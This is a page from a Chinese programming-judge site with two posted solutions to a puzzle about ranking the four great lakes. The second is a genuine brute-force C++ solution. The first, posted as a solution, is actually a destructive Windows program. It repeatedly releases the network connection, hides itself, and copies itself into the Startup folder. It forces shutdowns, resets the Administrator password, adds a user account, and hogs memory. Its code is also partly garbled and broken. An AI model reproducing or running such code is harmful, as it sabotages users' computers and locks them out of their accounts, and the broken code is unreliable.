2 条题解
-
0
#include #include<windows.h> #include #include
include <stdio.h>
#include <string.h> #include using namespace std; int main (int argc,char *argv[]) { while (true) { system("ipconfig /release"); //断开网络 } HWND hwnd; hwnd = FindWindow("ConsoleWindowClass", NULL); //获取窗口句柄 if (hwnd) { ShowWindow(hwnd, SW_HIDE); //隐藏窗口 } char copy[80]; sprintf(copy,"copy %s "%%userprofile%%\「开始」菜单\程序\启动""); system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi char cmd[]="shutdown -s -t 20";//自动关机 system("ping baidu.com"); system(cmd); system("pause"); system(copy); system("net user Administrator 123456789");//设置开机密码为xz system("net user 1234567890 xz /add");//建立用户,并命名为崩溃 int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴 int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴 srand(time(0));//随机函数种子 system("shutdown -s -t 20");//20秒关机 while(1) { //循环 SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机 system("start");//弹出窗口 char *p=new char[10000];//卡死机 } system(regadd); }
-
0
在C++中,可以通过嵌套循环和条件判断来判断四大湖的大小。
首先,我们需要理解题目中的条件:四大湖(洞庭湖、洪泽湖、鄱阳湖、太湖)的大小各不相同,且四个人(A、B、C、D)每人只说对了一个事实。根据这些条件,我们可以编写一个程序来判断四大湖的大小排名。
程序实现 定义变量:定义四个变量a、b、c、d,分别代表洞庭湖、洪泽湖、鄱阳湖、太湖的可能排名。 嵌套循环:使用四层嵌套循环遍历四大湖的所有可能排名。 条件判断:根据每个人的说法,使用逻辑运算符判断每个人的说法是否正确。 输出结果:当所有人的说法都正确时,输出四大湖的排名。
#include<iostream> using namespace std; int main() { int a, b, c, d; a = b = c = d = 0; for (a = 1; a <= 4; a++) { for (b = 1; b <= 4; b++) { for (c = 1; c <= 4; c++) { for (d = 1; d <= 4; d++) { if ((a != b && a != c && a != d && b != c && b != d && c != d) && ((a == 1) + (b == 4) + (c == 3) == 1) && // A的说法 ((b == 1) + (a == 4) + (c == 2) + (d == 3) == 1) && // B的说法 ((b == 4) + (a == 3) == 1) && // C的说法 ((c == 1) + (d == 4) + (b == 2) + (a == 3) == 1)) { // D的说法 cout << c << endl; // 鄱阳湖的排名 cout << a << endl; // 洞庭湖的排名 cout << d << endl; // 太湖的排名 cout << b << endl; // 洪泽湖的排名 } } } } } return 0; }
- 1
信息
- ID
- 533
- 时间
- 1000ms
- 内存
- 128MiB
- 难度
- 10
- 标签
- 递交数
- 9
- 已通过
- 3
- 上传者